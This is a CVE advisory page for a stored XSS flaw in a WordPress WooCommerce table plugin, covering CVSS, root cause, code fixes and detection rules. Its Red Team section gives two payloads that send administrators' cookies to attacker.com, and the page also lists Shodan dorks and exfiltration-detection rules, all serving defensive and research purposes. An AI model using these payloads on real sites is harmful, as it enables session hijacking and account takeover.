☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Realmag777 logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-48266

CVE-2025-48266 Cross-Site Scripting in Realmag777
📅 PUBLISHED: 2025-05-19 15:15 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.14%
👁️
0.14% probability
3.6× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
6.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-48266 is a Stored Cross-Site Scripting (XSS) vulnerability discovered in the WordPress plugin "Active Products Tables for WooCommerce" by RealMag777 (plugin slug: profit-products-tables-for-woocommerce). The vulnerability affects all versions up to and including 1.0.6.8. An authenticated attacker with at least Contributor-level privileges can inject malicious JavaScript payloads into product table configurations. When an administrator or other user views the affected table, the payload executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability stems from improper neutralization of user-supplied input during web page generation.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress Plugin Directory. The plugin is not available on NPM, PyPI, Go, or Ruby ecosystems. The risk is limited to WordPress sites running the vulnerable plugin version. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.5 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
  • Attack Vector (AV): Network – the attack is carried out over the network.
  • Attack Complexity (AC): Low – no special conditions are required.
  • Privileges Required (PR): Low – attacker needs Contributor-level access or higher.
  • User Interaction (UI): Required – the victim must view the malicious table.
  • Scope (S): Changed – the vulnerability impacts resources beyond the vulnerable component.
  • Confidentiality (C): Low – limited data exposure.
  • Integrity (I): Low – limited data modification.
  • Availability (A): Low – limited service disruption.

Threat Level: Medium. Exploitation requires authenticated access, but the impact can be severe if an administrator is targeted.

Deep Dive & Mechanics

The vulnerability exists in the plugin's table configuration interface. When creating or editing a product table, the plugin fails to sanitize user input in fields such as table titles, column headers, or custom CSS classes. The input is stored in the WordPress database and later rendered without proper escaping in the admin dashboard or frontend.

Root Cause: The plugin uses echo or _e() functions without applying WordPress's built-in escaping functions like esc_html(), esc_attr(), or wp_kses_post(). This allows an attacker to inject arbitrary HTML and JavaScript.

Attack Flow:

  1. Attacker logs in with Contributor-level privileges.
  2. Attacker creates a new product table or edits an existing one.
  3. Attacker injects a payload like <script>alert('XSS')</script> into a vulnerable field.
  4. The payload is stored in the database.
  5. When an administrator or other user views the table (e.g., via the admin menu or a shortcode on the frontend), the payload executes.

WordPress Ecosystem Context: This is a WordPress plugin vulnerability. The attack surface is limited to sites using the plugin. The vulnerability does not affect Apache or Nginx directly.

Vulnerable vs. Patched Code

Since no official patch is available, the following shows a typical vulnerable pattern and a secure alternative.

Vulnerable Code (example from plugin):

// Vulnerable: no escaping
echo '<div class="' . $table_class . '">';
echo '<h2>' . $table_title . '</h2>';

Patched Code (recommended fix):

// Patched: proper escaping
echo '<div class="' . esc_attr($table_class) . '">';
echo '<h2>' . esc_html($table_title) . '</h2>';

The patched version uses esc_attr() for HTML attributes and esc_html() for HTML content, preventing XSS.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • WordPress site with Active Products Tables for WooCommerce <= 1.0.6.8
  • Contributor-level account or higher

Exploitation Steps:

  1. Log in to WordPress as a Contributor.
  2. Navigate to Products > Product Tables.
  3. Click Add New.
  4. In the Table Title field, enter:
    <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
    
  5. Save the table.
  6. Wait for an administrator to view the table (e.g., via the admin menu or a page using the [active_products_table] shortcode).
  7. The payload executes, sending the admin's cookies to the attacker's server.

Alternative Payload (for session hijacking):

<img src=x onerror="document.location='https://attacker.com/steal?cookie='+document.cookie">

Blue Team

Detection Steps:

  1. Monitor for unusual plugin configuration changes, especially by non-admin users.
  2. Review WordPress database for suspicious entries in the wp_postmeta table related to the plugin.
  3. Check web server logs for requests containing <script> or onerror patterns.
  4. Use the detection rules below to identify exploitation attempts.

Honeypot Setup:

  • Create a fake product table with a known XSS payload.
  • Monitor access logs for any execution of the payload.

Indicators of Compromise (IOCs)

  • File Indicators:

    • Modified plugin files in /wp-content/plugins/profit-products-tables-for-woocommerce/
    • Suspicious entries in wp_postmeta with meta_key containing ppt_ and meta_value containing <script> or onerror
  • Network Indicators:

    • Outbound HTTP requests to attacker-controlled domains from the WordPress server
    • Requests containing document.cookie in the URL
  • Log Indicators:

    • Web server logs showing GET /wp-admin/admin-ajax.php?action=... with XSS payloads
    • WordPress debug logs showing PHP warnings related to echo of unsanitized data

Detection Engineering

YARA Rule

rule CVE_2025_48266_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Active Products Tables for WooCommerce"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-48266"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=\s*["'][^"']*["']/is
        $xss3 = /onload\s*=\s*["'][^"']*["']/is
        $plugin = "profit-products-tables-for-woocommerce"
    condition:
        $plugin and ($xss1 or $xss2 or $xss3)
}

Sigma Rule

title: CVE-2025-48266 - Stored XSS in Active Products Tables for WooCommerce
id: 8a3f7c2e-1b4d-4e5f-9a0b-6c7d8e9f0a1b
status: experimental
description: Detects stored XSS attempts via plugin configuration
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=ppt_save_table'
        cs-uri-query|contains|re: '(<script|onerror|onload)'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in table descriptions (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-48266 - Stored XSS Payload Exfiltration"; flow:to_server,established; content:"document.cookie"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin until a patch is released.
  2. Restrict user roles – only allow trusted administrators to create/edit product tables.
  3. Apply a Web Application Firewall (WAF) rule to block XSS payloads in plugin-specific POST requests.

Long-Term Fix:

  • The vendor must release a patched version that properly escapes all user inputs using esc_html(), esc_attr(), and wp_kses_post().
  • As a temporary workaround, site owners can add the following code to their theme's functions.php to sanitize the vulnerable fields:
    add_filter('ppt_table_title', 'esc_html');
    add_filter('ppt_table_class', 'esc_attr');
    

Detection:

  • Implement the YARA, Sigma, and Suricata rules provided above.
  • Regularly scan WordPress databases for XSS payloads.

Valters IT – Securing WordPress ecosystems one CVE at a time.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

wp-content/plugins/profit-products-tables-for-woocommerce/
inurl:/wp-content/plugins/profit-products-tables-for-woocommerce/

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-48266/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.